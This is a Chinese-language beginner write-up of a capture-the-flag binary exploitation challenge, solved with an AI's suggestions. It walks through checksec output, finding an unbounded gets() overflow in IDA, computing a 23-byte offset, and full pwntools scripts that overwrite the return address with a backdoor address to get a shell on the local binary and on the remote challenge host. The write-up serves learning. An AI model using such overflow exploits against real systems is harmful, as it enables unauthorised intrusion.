
今天用ai简单做一题pwn,熟悉一下基本流程。(我自己是做不出来的,思路都是ai给的)
第一次做题的了解一下
pwn就是二进制漏洞,所以利用溢出getshell就是解题的目的
只要一个文件存在二进制漏洞,通过发送精心构造的payload,就可以getshell回到题目:
图片给到了一个文件,还有一个靶机,实际上就是告诉你这个文件存在二进制漏洞,需要你在本地通过IDA,Die等工具找出漏洞所在,再构造一个恶意的payload进行攻击。
首先:
检查程序保护:
把该文件放到Linux环境,cd到文件所在目录,用命令
checksec ./pwn1
我都解释一下:
Arch: amd64-64-little //64 位小端架构,常规 x86_64 程序
RELRO: Partial RELRO //部分重定位只读,GOT 表可写,容易进行 GOT 劫持
Stack: No canary found //栈溢出时无需绕过 canary,直接覆盖返回地址即可
NX: NX unknown - GNU_STACK missing //栈执行权限未明确标记,栈上代码可直接执行
PIE: No PIE (0x400000) //无地址随机化,程序基地址固定为 0x400000,所有函数地址固定
Stack: Executable //栈段可执行,可以直接在栈上部署 shellcode 并执行
RWX: Has RWX segments //存在可读可写可执行段,内存保护极弱,可直接写入并执行代码
Stripped: No //未脱符号,函数名、变量名等调试信息完整,方便逆向分析
后面我再说是利用了哪个接下来用die确认该文件是64位还是32位
确定是64位之后,打开对应的64位的IDA(一个反汇编工具,Die和IDA我都是安装在我的windows物理机)
按照习惯就是shift+f12先查看字符串,看看有没有什么提示
看到有字符串"please input",这里是程序输入的地方,双击进去看看
在双击右边的函数,进入对应的函数
汇编代码看不懂,直接f5转化成伪代码(就是c语言代码)
咱们做pwn还是得有一点c语言和简单汇编基础的哈,代码中gets函数就是输入,输入没有限制输入字符串大小,就是溢出点。
[rbp-Fh]:表示变量 s 距离 rbp 栈底的偏移是 0xF(15 字节)
64 位程序中,rbp 本身占 8 字节,返回地址 rip 紧跟在 rbp 之后
我手绘一个结构图:
rip <————返回地址(高地址)
rbp <————rbp寄存器本身的地址(占8字节)
...
...
...
[rbp-Fh] <————rbp地址往下15字节
至于为什么不仅仅要输入15个字符,还要输入rbp,是因为栈本身的结构,这里不展开叙述。
所以说总共需要输入15+8=23个垃圾字符才能到达返回地址的起始位置。
所以用python写exp:
from pwn import *
elf_path = "./pwn1"
offset = 23
back_door = 0x40118A
p = process(elf_path)
payload = b'A' * offset + p64(back_door)
p.sendlineafter(b"please input", payload)
p.interactive()本地执行成功得到交互界面之后再改成远程的exp
from pwn import *
elf_path = "./pwn1"
offset = 23
back_door = 0x40118A
#p = process(elf_path)
p = remote('node5.buuoj.cn','26289') //这里填你靶机的域名+端口
payload = b'A' * offset + p64(back_door)
p.sendline(payload)
p.interactive()执行
python3 exp2.py
成功getshell,再cat flag 得到答案。